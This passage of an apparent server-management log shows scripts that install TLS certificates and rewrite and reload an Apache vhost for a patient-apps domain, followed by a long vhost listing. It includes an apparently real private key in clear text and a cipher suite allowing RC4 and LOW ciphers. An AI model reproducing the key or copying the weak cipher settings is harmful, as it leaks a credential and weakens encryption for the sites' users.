9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa01pX
WgAABAMARzBFAiBjtWLOgDVd+plj+baZwKlkkLufRMO9NKAjNpb0DLpcmwIhAN4F
/wPv2D6eyHPcLvgoPHErZzTL+8+C4OjAKP3eqYJ1AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGa01pXcgAABAMARzBFAiAvxPIi62QPh+XmAxoC
TqXL6zYBmbAvM/NzziK73LSJ7QIhAOQc3AiYJ9sZUPksOozmZ3k+KAkfkTqVab4k
ZS4gg6YaMA0GCSqGSIb3DQEBCwUAA4IBAQC/G5WDW108VgDIyQ79MNiVBkqKep2N
zJJ3X+EahHGpWgSFJMSm3gcuR5da59gviBXcbCaoeTPaa6kLFubKpjnKlTu8Dzi8
icIBZWRHGrcz1GswMW0ke95grASKecAcRB5//3quP5XzJt+y9z3czJzIf4bsZ3x1
VAPdWs5bWwrE3Eo1O+4eqVOUYlTvNMp8E8Qf+KJgGFCWX/TznvV4jmdQmxJWKlbA
8YmUrMXjWPmAXnrR+kOP7bNn5zxNPk1tg6kA44nWmP6M8ed+tWr5/14u59Kk8Cah
Cx7bgrhd6M8SGNItCEqhiyCM6gwL0841DezVdtMQhXbqPmNPEpghnJ2m
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCovhxIk9v+2pqU
RAL7bRpMq3fcJ/GJnhHOwHwaJgUri43U8MNbutN3TPGIzUNH3/5F+NjFQ9qQqZro
em5kGuFVpJxghh8lHue3loNYIOA1gGcd1xtZynYblEDKZl1hfvASypiBBxMUQzLf
zl3MwPw6C6EKIMnwzDUmNd2KSEgz98gYrkQ8Ed1YYoFK+A9COOWsEaBzv8UDJ4rj
+IT3gNSG9HTiVJg8ma2aihTbyuvylZDfdmC3moKIK4zJb5MXyLGrmC9JUncRFBT6
QNO5BDQ+dH7PoNoEXyUCzmqmfRBOyK8tHkHDkL60tRIVZd84EJKm7xpSwRf8IJXR
ndJtvx0BAgMBAAECggEATXRGA0JrXsX04k19mO7xfXPPZqym/+Yggmh0DoSZJu29
wppo8bgFzOLykzq0wU8dpfydc567ul8/jap09VopSGhwpxWpQh63eduKmm8suyIf
MuFD2qlGIU6hlsX54wCjLdz0t3UJ2ukldvmAsLV8kSA5YS6/wtnZI5rh/9FB4yf/
/0Q4w+FUaQlibAS/WyDjU/gWtM908CNZxwMtOdf14Yt3L8a6G421dy/jOckmzdya
lEihch6NTn1FPWeEBpFTbbm17njySJXdnawkUjIYOz3f0+8ilMWgBv2pAW0QZC1o
M67lDIt1XjYXhVhRfRN5YIz276vntCQraxoYmXJgAQKBgQDcNWBxYx0vL4AEWFHY
672RIC9G5B+zBoCCIckU4qV/O1pjqu1mt5XaZwADQ79RYh2fRONireSTe32S+8tg
tn/Tt//iIABVdLi4hvnnoGzyhTtjQ1mMN1WX7O0ETVPTR2yvjKWUSS8m2iTGwI5g
UZ6kmWevp8eu5vRCbLQ8R8vdwQKBgQDEK0wfEBVOMm9M41aUj/lGg7gvaVh3+Z7U
yv5d4NVGv09x2KK7G6lsHqTjkwEQMu5MUEm5EOBNQ6H6mPUmQs6cgAkUboRrXPBE
x3pOXhSfnL9aeRsMEeYo0IaqWf6WZBY60Enmakr5YcsViRhRft6IFb8t1RvmC1HO
0D7gg12PQQKBgQCR1/Q5BKjWkIIb3pbOsUtK6+MD86CfBEZmaZPw9i8f9iJmclVr
O1nPXXpfryXt86qkyo5C0+LYXuiLSaKoOhatFWcuz30JHBYfeJ3Y76JYeS8dDgUn
3Zod1fggakqDWwG7vs4HSPUmqUHENNHXLxd/8m3+o4OX7jSGLdKtPeviwQKBgEFm
Ue11NjUouVR/4kiLK0bn+QrNazIsZVh6CI2RvGjmtPy2haItmbEzEjPQuaUF5c5J
Yhqx1qXLq3/ZaLmFwk4InX5TThBhHrU/b7YaxXNlFaJ7B5phiUMIKi027ZqD6alX
8ZtAypgTk1otp47b5iKmZWNJThDGq1JwuNWu1g1BAoGBAKIu8RiyVebMX/t2Ptac
9xv7N2/OfJZd+M3IQ5Iy0W/zDt8DSqkhR6CZwNedFvxN+5OouO47/Mx0vOX+3KQm
wpXLTDTS92ltbkstrRs0/FKnltuuXLA1Qvi2T+PHf73EEGpEaPf9U0XtLSkNObn7
lZfmYEOMsLCRaqo0DYksHYku
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-30 06:01:45: 

chmod 755 /tmp/pkp100659; /tmp/pkp100659; rm /tmp/pkp100659

2025-11-30 06:01:45: 


dir=/etc/ssl/certs


2025-11-30 06:01:45: 

PUT: /tmp/pkp898086

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_audio_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-30 06:01:45: 

chmod 755 /tmp/pkp898086; /tmp/pkp898086; rm /tmp/pkp898086

2025-11-30 06:01:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf 45

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2025-11-30 06:01:45: 

PUT: /tmp/pkp527242

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_audio_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_audio_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_audio_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf= 1'
fi


2025-11-30 06:01:45: 

chmod 755 /tmp/pkp527242; /tmp/pkp527242; rm /tmp/pkp527242

2025-11-30 06:01:45: 




2025-11-30 06:01:45: 

PUT: /tmp/pkp457928

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-30 06:01:45: 

chmod 755 /tmp/pkp457928; /tmp/pkp457928; rm /tmp/pkp457928

2025-11-30 06:01:45: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:01:45: Establishing a connection
2025-11-30 06:01:45: 

PUT: /tmp/pkp469811

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-30 06:01:45: 

chmod 755 /tmp/pkp469811; /tmp/pkp469811; rm /tmp/pkp469811

2025-11-30 06:01:45: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
